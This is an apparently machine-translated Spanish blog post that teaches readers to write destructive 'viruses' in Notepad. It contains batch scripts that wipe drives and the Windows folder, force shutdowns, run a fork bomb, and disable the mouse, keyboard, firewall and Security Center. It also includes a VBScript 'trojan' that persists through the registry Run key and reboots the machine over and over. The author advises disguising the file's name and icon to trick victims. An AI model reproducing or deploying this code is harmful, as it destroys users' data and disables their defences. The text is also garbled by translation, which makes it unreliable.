Virus / Medio Orden en el Bloc de notas

!!!VIRUS!!!

Vale LSG aj sollozo .. que quieren tratar de vivir Copas SCRIPT2 sigue:
1. Código:
@ Echo off 
DEL C:-Y 
DEL D:-Y
Guardar como contoh.bat (no seleccionable) 
función para eliminar la unidad C y D
2. Código (contoh.cmd):
DEL / F / Q 
"o" 
DEL / F / QC: \ WINDOWS
Función: Para descargar el omnipresente borrar todos los datos en el ordenador, incluso si el archivo / carpeta de archivos de sólo lectura y no se le dará la confirmación de hacerlo.Usted no será capaz de hacer cualquier cosa si usted ha hecho clic en el archivo cmd TSB.
3. Código (contoh.bat):
@ Echo shutdown-s-t 1-f
Descripción: La figura 1 es el tiempo necesario para apagar el ordenador de forma automática, por lo que puede ser modificado para adaptarse a sus preferencias (1 = 1 seg)
4. Código (Fork.bat):
0% | 0%
Función: Llevar bomba tenedor llevará a jam total de la CPU mediante la apertura de alrededor de 500 procesos de línea de comandos
5. Código (1000folder.bat):
@ Echo off 
: top 
md% random% 
superior Ir
Función: Mareos y si hay 1.000 carpetas que se ven unos segundos ...

6. Código de Troya:
rem - dlRB "DL Reboot" guión de Troya por DL
On Error Resume Next 
dim FSobj, SysDir, generateCopy, newFile, fixedCode, procreateCopy, fileData
set FSobj = CreateObject ("Scripting.FileSystemObject") 
set SysDir = FSobj.GetSpecialFolder (1)
createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB", SysDir & "\ dlRB.vbs"
sub createRegKey (RegKey, regVal) 
set regedit = CreateObject ("WScript.Shell") 
regEdit.RegWrite RegKey, regVal 
end sub
establecer generateCopy = FSobj.CreateTextFile (SysDir + "\ dlRB.vbs") 
generateCopy.close
set newFile = FSobj.OpenTextFile (WScript.ScriptFullname, 1) 
setFile () 
fixedCode = replace (fileData, chr (94) "" "")
establecer procreateCopy = FSobj.OpenTextFile (SysDir + "\ dlRB.vbs", 2) 
procreateCopy.write fixedCode 
procreateCopy.close
rebootSystem ()
función setFile () 
fileData = "rem - ^ dlRB ^ por DL" & vbCrLf & _ 
"strComputer = ^ ^." & vbCrLf & _ 
"Set objWMIService = GetObject (^ winmgmts: ^ _" & vbCrLf & _ 
"& ^ {impersonationLevel = suplantar, (parada )} \ \ ¡^ & strComputer & ^ \ root \ cimv2 ^) "& vbCrLf & _ 
"Set colOperatingSystems = objWMIService.ExecQuery _" & vbCrLf & _ 
"(^ Select * from Win32_OperatingSystem ^)" & vbCrLf & _ 
"For Each objOperatingSystem en colOperatingSystems" & vbCrLf y _ 
"ObjOperatingSystem.Reboot ()" & vbCrLf & _ 
"Next" 
fin de la función
función rebootSystem () 
strComputer = "."
Establecer objWMIService = GetObject ("winmgmts:" _ 
& "{impersonationLevel = suplantar, (apagado)} \ \" y strComputer & "\ root \ cimv2")
Conjunto colOperatingSystems = objWMIService.ExecQuery _ 
("Select * from Win32_OperatingSystem")
Para cada objOperatingSystem en colOperatingSystems 
ObjOperatingSystem.Reboot () 
siguiente 
fin de la función
Después Dicopy, Guardar como con ektensi VBS, por ejemplo Virus.vbs. 
NB: si no agan agan quiere mengaktivkan en el portátil, sólo con ektensi guardar como txt.
7. Código (contoh.bat):
@ Echo off 
CLS 
rundll32 ratón, deshabilitar 
rundll32 teclado, desactive 
COPIA% 0% windir% Winstart.bat 
stop "Security Center" net 
SharedAccess net stop 
echo que hagas virus! 
@ ping.exe 127.0.0.1-n 5-w 1000 > nul 
start [url] http://www.youtube.com [/ url] 
@ ping.exe 127.0.0.1-n 5-w 1000> nul 
> "% Temp%. kill.reg" ECHO REGEDIT4 
>> "% . temp% kill.reg. "ECHO 
. >> "% Temp% kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess] 
. >> "% Temp% kill.reg" ECHO "Inicio" = DWORD: 00000004 
>> "% temp% . kill.reg. "ECHO 
. >> "% Temp% kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv] 
. >> "% Temp% kill.reg Inicio" ECHO "" = DWORD: 00000004 
>> ".% Temp% kill . reg. "ECHO 
. >> "% Temp% kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c] 
>> "% Temp% kill.reg" ECHO "Inicio" = DWORD: 00000004. 
>> ".% Temp% kill.reg "ECHO. 
START / WAIT regedit / s "% temp% kill.reg." 
del "% temp% kill.reg." 
del 0% 
DEL / F / S / QC: 
shutdown-s-t 10-c "Adiós mi amor! "-f
FUNCIONES: 
-desactiva el ratón y el teclado 
para copiar la AUTORUN 
Centro de seguridad-stop 
-display "¡Usted hace VIRUS" durante 5 segundos 
-arranques [url] http://www.youtube.com [/ url] 
-desactivar firewall 
- delete unidad c: 
mensaje de cierre dg-force "Good bye my love!"
Simple eh .., ente puede cambiar el icono / nombre del archivo a ser más convincente jejee ..

Categories: